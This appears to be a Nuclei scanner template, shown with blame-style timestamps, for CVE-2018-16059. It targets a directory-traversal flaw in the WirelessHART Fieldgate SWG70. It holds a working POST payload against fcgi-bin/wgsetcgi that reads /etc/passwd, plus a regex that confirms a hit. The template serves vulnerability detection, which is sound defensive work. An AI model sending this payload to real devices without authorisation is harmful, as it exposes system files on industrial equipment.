2021-07-19 10:16:19 +00:00
|
|
|
id: CVE-2018-16059
|
|
|
|
|
|
|
|
info:
|
|
|
|
name: WirelessHART Fieldgate SWG70 3.0 - Directory Traversal
|
|
|
|
author: daffainfo
|
2021-07-19 18:45:32 +00:00
|
|
|
severity: medium
|
2021-08-18 11:37:49 +00:00
|
|
|
reference:
|
2021-08-19 14:44:46 +00:00
|
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2018-16059
|
|
|
|
- https://www.exploit-db.com/exploits/45342
|
2021-07-19 10:16:19 +00:00
|
|
|
tags: cve,cve2018,iot,lfi
|
2021-09-10 11:26:40 +00:00
|
|
|
classification:
|
|
|
|
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
|
|
|
|
cvss-score: 5.30
|
|
|
|
cve-id: CVE-2018-16059
|
|
|
|
cwe-id: CWE-22
|
|
|
|
description: "Endress+Hauser WirelessHART Fieldgate SWG70 3.x devices allow Directory Traversal via the fcgi-bin/wgsetcgi filename parameter."
|
2021-07-19 10:16:19 +00:00
|
|
|
|
|
|
|
requests:
|
|
|
|
- method: POST
|
|
|
|
path:
|
|
|
|
- "{{BaseURL}}/fcgi-bin/wgsetcgi"
|
|
|
|
body: 'action=ajax&command=4&filename=../../../../../../../../../../etc/passwd&origin=cw.Communication.File.Read&transaction=fileCommand'
|
|
|
|
|
|
|
|
matchers-condition: and
|
|
|
|
matchers:
|
|
|
|
- type: regex
|
|
|
|
regex:
|
2022-03-22 08:01:31 +00:00
|
|
|
- "root:.*:0:0:"
|
2021-07-19 10:16:19 +00:00
|
|
|
part: body
|
|
|
|
|
|
|
|
- type: status
|
|
|
|
status:
|
|
|
|
- 200
|